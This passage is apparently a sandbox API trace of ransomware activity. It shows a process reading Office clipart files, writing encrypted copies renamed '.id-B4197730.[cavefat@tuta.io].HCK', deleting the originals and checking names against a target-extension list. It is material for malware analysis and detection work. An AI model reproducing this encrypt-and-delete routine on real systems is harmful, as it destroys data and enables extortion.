Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089945.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0162.943] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0162.943] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0162.943] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089945.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0162.943] GetLastError () returned 0x0 [0162.943] ReadFile (in: hFile=0x308, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x4dba, lpOverlapped=0x0) returned 1 [0162.945] WriteFile (in: hFile=0x364, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x4dc0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x4dc0, lpOverlapped=0x0) returned 1 [0162.946] ReadFile (in: hFile=0x308, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0162.946] WriteFile (in: hFile=0x364, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0162.946] SetEndOfFile (hFile=0x364) returned 1 [0162.946] CloseHandle (hObject=0x364) returned 1 [0162.947] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0162.947] SetEndOfFile (hFile=0x308) returned 1 [0162.948] CloseHandle (hObject=0x308) returned 1 [0162.948] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0162.948] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089945.wmf")) returned 1 [0162.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF") returned 68 [0162.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF") returned 68 [0162.948] lstrlenW (lpString=".doc") returned 4 [0162.948] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0162.949] lstrlenW (lpString=".docx") returned 5 [0162.949] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0162.949] lstrlenW (lpString=".pdf") returned 4 [0162.949] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0162.949] lstrlenW (lpString=".xls") returned 4 [0162.949] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0162.949] lstrlenW (lpString=".xlsx") returned 5 [0162.949] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0162.949] lstrlenW (lpString=".ppt") returned 4 [0162.949] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0162.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF") returned 68 [0162.949] lstrlenW (lpString=".zip") returned 4 [0162.949] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0162.949] lstrlenW (lpString=".rar") returned 4 [0162.949] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0162.949] lstrlenW (lpString=".bz2") returned 4 [0162.949] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0162.949] lstrlenW (lpString=".7z") returned 3 [0162.949] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0162.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF") returned 68 [0162.949] lstrlenW (lpString=".dbf") returned 4 [0162.949] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0162.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF") returned 68 [0162.949] lstrlenW (lpString=".1cd") returned 4 [0162.949] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0162.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF") returned 68 [0162.949] lstrlenW (lpString=".jpg") returned 4 [0162.949] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0162.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF") returned 68 [0162.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF") returned 68 [0162.949] lstrlenW (lpString=".doc") returned 4 [0162.949] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0162.949] lstrlenW (lpString=".docx") returned 5 [0162.949] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0162.949] lstrlenW (lpString=".pdf") returned 4 [0162.949] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0162.949] lstrlenW (lpString=".xls") returned 4 [0162.949] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0162.949] lstrlenW (lpString=".xlsx") returned 5 [0162.949] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0162.949] lstrlenW (lpString=".ppt") returned 4 [0162.949] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0162.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF") returned 68 [0162.949] lstrlenW (lpString=".zip") returned 4 [0162.949] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0162.949] lstrlenW (lpString=".rar") returned 4 [0162.949] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0162.949] lstrlenW (lpString=".bz2") returned 4 [0162.949] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0162.949] lstrlenW (lpString=".7z") returned 3 [0162.949] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0162.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF") returned 68 [0162.950] lstrlenW (lpString=".dbf") returned 4 [0162.950] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0162.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF") returned 68 [0162.950] lstrlenW (lpString=".1cd") returned 4 [0162.950] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0162.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF") returned 68 [0162.950] lstrlenW (lpString=".jpg") returned 4 [0162.950] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0162.950] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0162.950] lstrlenW (lpString="J0089992.WMF") returned 12 [0162.950] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089992.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0162.950] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=15680) returned 1 [0162.950] CloseHandle (hObject=0x308) returned 1 [0162.950] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089992.wmf")) returned 0x220 [0162.950] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089992.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0162.950] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089992.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0162.950] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0162.950] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0162.950] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089992.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0162.951] GetLastError () returned 0x0 [0162.951] ReadFile (in: hFile=0x308, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x3d40, lpOverlapped=0x0) returned 1 [0162.953] WriteFile (in: hFile=0x364, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x3d50, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x3d50, lpOverlapped=0x0) returned 1 [0162.953] ReadFile (in: hFile=0x308, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0162.954] WriteFile (in: hFile=0x364, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0162.954] SetEndOfFile (hFile=0x364) returned 1 [0162.954] CloseHandle (hObject=0x364) returned 1 [0162.955] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0162.955] SetEndOfFile (hFile=0x308) returned 1 [0162.956] CloseHandle (hObject=0x308) returned 1 [0162.956] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0162.956] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089992.wmf")) returned 1 [0162.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68 [0162.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68 [0162.956] lstrlenW (lpString=".doc") returned 4 [0162.956] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0162.956] lstrlenW (lpString=".docx") returned 5 [0162.956] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0162.956] lstrlenW (lpString=".pdf") returned 4 [0162.956] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0162.956] lstrlenW (lpString=".xls") returned 4 [0162.956] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0162.956] lstrlenW (lpString=".xlsx") returned 5 [0162.957] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0162.957] lstrlenW (lpString=".ppt") returned 4 [0162.957] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0162.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68 [0162.957] lstrlenW (lpString=".zip") returned 4 [0162.957] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0162.957] lstrlenW (lpString=".rar") returned 4 [0162.957] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0162.957] lstrlenW (lpString=".bz2") returned 4 [0162.957] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0162.957] lstrlenW (lpString=".7z") returned 3 [0162.957] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0162.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68 [0162.957] lstrlenW (lpString=".dbf") returned 4 [0162.957] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0162.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68 [0162.957] lstrlenW (lpString=".1cd") returned 4 [0162.957] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0162.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68 [0162.957] lstrlenW (lpString=".jpg") returned 4 [0162.957] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0162.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68 [0162.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68 [0162.957] lstrlenW (lpString=".doc") returned 4 [0162.957] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0162.957] lstrlenW (lpString=".docx") returned 5 [0162.957] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0162.957] lstrlenW (lpString=".pdf") returned 4 [0162.957] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0162.957] lstrlenW (lpString=".xls") returned 4 [0162.957] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0162.957] lstrlenW (lpString=".xlsx") returned 5 [0162.957] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0162.957] lstrlenW (lpString=".ppt") returned 4 [0162.957] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0162.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68 [0162.957] lstrlenW (lpString=".zip") returned 4 [0162.957] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0162.957] lstrlenW (lpString=".rar") returned 4 [0162.957] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0162.957] lstrlenW (lpString=".bz2") returned 4 [0162.957] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0162.957] lstrlenW (lpString=".7z") returned 3 [0162.957] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0162.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68 [0162.957] lstrlenW (lpString=".dbf") returned 4 [0162.957] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0162.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68 [0162.957] lstrlenW (lpString=".1cd") returned 4 [0162.957] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0162.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68 [0162.957] lstrlenW (lpString=".jpg") returned 4 [0162.957] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0162.958] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0162.958] lstrlenW (lpString="J0090027.WMF") returned 12 [0162.958] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090027.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0162.958] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=21268) returned 1 [0162.958] CloseHandle (hObject=0x308) returned 1 [0162.958] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090027.wmf")) returned 0x220 [0162.958] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090027.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0162.958] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090027.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0162.958] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0162.958] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0162.958] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090027.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0162.959] GetLastError () returned 0x0 [0162.959] ReadFile (in: hFile=0x308, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x5314, lpOverlapped=0x0) returned 1 [0162.960] WriteFile (in: hFile=0x364, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x5320, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x5320, lpOverlapped=0x0) returned 1 [0162.961] ReadFile (in: hFile=0x308, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0162.961] WriteFile (in: hFile=0x364, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0162.961] SetEndOfFile (hFile=0x364) returned 1 [0162.961] CloseHandle (hObject=0x364) returned 1 [0162.962] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0162.962] SetEndOfFile (hFile=0x308) returned 1 [0162.963] CloseHandle (hObject=0x308) returned 1 [0162.963] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0162.963] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090027.wmf")) returned 1 [0162.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68 [0162.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68 [0162.964] lstrlenW (lpString=".doc") returned 4 [0162.964] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0162.964] lstrlenW (lpString=".docx") returned 5 [0162.964] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0162.964] lstrlenW (lpString=".pdf") returned 4 [0162.964] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0162.964] lstrlenW (lpString=".xls") returned 4 [0162.964] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0162.964] lstrlenW (lpString=".xlsx") returned 5 [0162.964] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0162.964] lstrlenW (lpString=".ppt") returned 4 [0162.964] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0162.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68 [0162.964] lstrlenW (lpString=".zip") returned 4 [0162.964] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0162.964] lstrlenW (lpString=".rar") returned 4 [0162.964] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0162.964] lstrlenW (lpString=".bz2") returned 4 [0162.964] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0162.964] lstrlenW (lpString=".7z") returned 3 [0162.964] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0162.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68 [0162.964] lstrlenW (lpString=".dbf") returned 4 [0162.964] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0162.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68 [0162.964] lstrlenW (lpString=".1cd") returned 4 [0162.964] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0162.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68 [0162.964] lstrlenW (lpString=".jpg") returned 4 [0162.964] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0162.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68 [0162.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68 [0162.964] lstrlenW (lpString=".doc") returned 4 [0162.964] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0162.964] lstrlenW (lpString=".docx") returned 5 [0162.964] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0162.964] lstrlenW (lpString=".pdf") returned 4 [0162.964] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0162.964] lstrlenW (lpString=".xls") returned 4 [0162.964] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0162.964] lstrlenW (lpString=".xlsx") returned 5 [0162.964] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0162.964] lstrlenW (lpString=".ppt") returned 4 [0162.964] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0162.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68 [0162.965] lstrlenW (lpString=".zip") returned 4 [0162.965] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0162.965] lstrlenW (lpString=".rar") returned 4 [0162.965] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0162.965] lstrlenW (lpString=".bz2") returned 4 [0162.965] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0162.965] lstrlenW (lpString=".7z") returned 3 [0162.965] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0162.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68 [0162.965] lstrlenW (lpString=".dbf") returned 4 [0162.965] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0162.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68 [0162.965] lstrlenW (lpString=".1cd") returned 4 [0162.965] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0162.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68 [0162.965] lstrlenW (lpString=".jpg") returned 4 [0162.965] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0162.965] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0162.965] lstrlenW (lpString="J0090087.WMF") returned 12 [0162.965] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090087.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0162.966] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=46936) returned 1 [0162.966] CloseHandle (hObject=0x308) returned 1 [0162.966] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090087.wmf")) returned 0x220 [0162.966] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090087.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0162.966] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090087.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0162.966] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0162.966] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 